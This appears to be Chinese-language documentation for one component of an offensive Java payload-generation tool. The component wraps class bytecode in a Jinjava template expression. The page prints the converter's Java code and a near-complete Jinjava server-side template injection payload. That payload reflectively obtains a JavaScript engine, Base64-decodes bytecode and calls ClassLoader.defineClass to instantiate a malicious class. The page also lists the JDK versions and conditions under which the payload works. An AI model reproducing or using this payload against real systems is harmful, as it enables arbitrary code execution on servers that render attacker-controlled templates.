- 类别:common 别名:— 优先级:—
- 作者:ReaJason
- 依赖:
jinjava(HubSpot Jinjava 模板引擎)
把内层产出的 class 字节码(byte[])包装成一段 JinJava(Jinja2 风格)模板表达式:该表达式在 Jinjava 渲染时,经 ScriptEngineManager 取得 JS 引擎,在 JS 中 Base64 解码字节码并用 ClassLoader.defineClass 定义、实例化恶意类,实现「JinJava 模板注入 → 任意字节码执行」。
- 入口
tags:JinJava_Expr、Expression—— 表明产物是可被「消费 JinJava/通用表达式」的上游 sink 承接的表达式串。 - 衔接
nextTags:BytecodeConvertTag—— 其内层(下一环)须是产出 class 字节码的 gadget,即 BytecodeConvert(再往内接Exec等)。 excludes:无。
invoke 取内层字节码,Base64 后填入一个 Jinjava 模板:
public String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String(bytecode);
return String.format(jinJavaTemplate, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[]) chain.doCreate(context)); // 取内层字节码 → 转 JinJava 表达式串
}jinJavaTemplate 是核心:外层用 Jinjava 的 {{ ... }} 输出表达式包裹,内层是一段通过反射构造 StringReader 后交给 JS 引擎 eval 的脚本(简化节选):
{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js')
.eval( ''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance(
'var classLoader = java.lang.Thread.currentThread().getContextClassLoader();'
+ 'var className = "%s"; var base64Str = "%s";' // 见下方“占位符”说明
+ 'try { classLoader.loadClass(className).newInstance(); }'
+ 'catch (e) {'
+ ' ... // 依次尝试 java.util.Base64 / javax.xml.bind.DatatypeConverter / sun.misc.BASE64Decoder 解码'
+ ' var defineClass = clsClassLoader.getDeclaredMethod("defineClass",[clsByteArray,clsInt,clsInt]);'
+ ' defineClass.setAccessible(true);'
+ ' var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));'
+ ' clazz.newInstance();' // 定义并实例化恶意类
+ '}' )) }}逐段说明:
- Jinjava 外壳
{{ ''.getClass().forName('javax.script.ScriptEngineManager')... }}:利用 Jinjava 表达式可调用 Java 方法的特性,反射拿到 JS 脚本引擎。 - 先
forName('java.io.StringReader').getConstructors()[0].newInstance(<JS源码>),把一大段 JS 脚本以StringReader形式喂给eval(Reader),规避把超长脚本写成单个字符串字面量的引号/转义问题。 - JS 脚本逻辑:优先
classLoader.loadClass(className).newInstance()(类已存在则直接实例化);否则进入catch,用三种回退方式(java.util.Base64→javax.xml.bind.DatatypeConverter.parseBase64Binary→sun.misc.BASE64Decoder)Base64 解码字节码,再反射调用ClassLoader.defineClass(byte[], int, int)(setAccessible(true)突破保护)定义类,最后newInstance()触发恶意类逻辑。 - 与 JexlConvert 用
Unsafe.defineAnonymousClass不同,本模板走线程上下文ClassLoader.defineClass,兼容性回退更充分(三选一),对不同 JDK 的 Base64 API 差异更鲁棒。
关于占位符:jinJavaTemplate 文本里既有 className = "%s" 又有 base64Str = "%s",但 getObject 只用 String.format(jinJavaTemplate, bytecodeB64) 传入一个参数。因此第一个 %s 会被 Base64 串填入(作为 className),第二个 %s 缺参——实际生效路径依赖 Jinjava 渲染时的行为;核心加载逻辑在 catch 分支的 defineClass,loadClass(className) 的 try 通常直接抛异常后走 catch。这是该模板的一个实现细节,分析真实 payload 时以最终渲染串为准。
本 gadget 无 @Param。输入完全来自内层字节码(chain.doCreate),无用户可配字段。
- 需要目标 classpath 存在 Jinjava 模板引擎 且当前上下文会渲染受控 JinJava 模板(模板注入 sink)。
- 运行时还需可用的 JS 脚本引擎(Nashorn/Rhino),故对
8 <= jdk <= 14较稳;JDK 15+ Nashorn 移除后该内嵌 JS 路径失效。 - 字节码解码做了三重回退,对不同 JDK 的 Base64 API 兼容性优于单一实现。
- 最终效果由内层字节码(
BytecodeConvert→Exec等)决定,本 gadget 只负责把字节码转成 JinJava 表达式载体。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。用于以 JinJava 模板注入为载体投递字节码的自定义组合。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert →(Exec 等字节码 sink)。 - 同族表达式转换:JexlConvert(JEXL 版本)、JsConvert(纯 JS 版本)。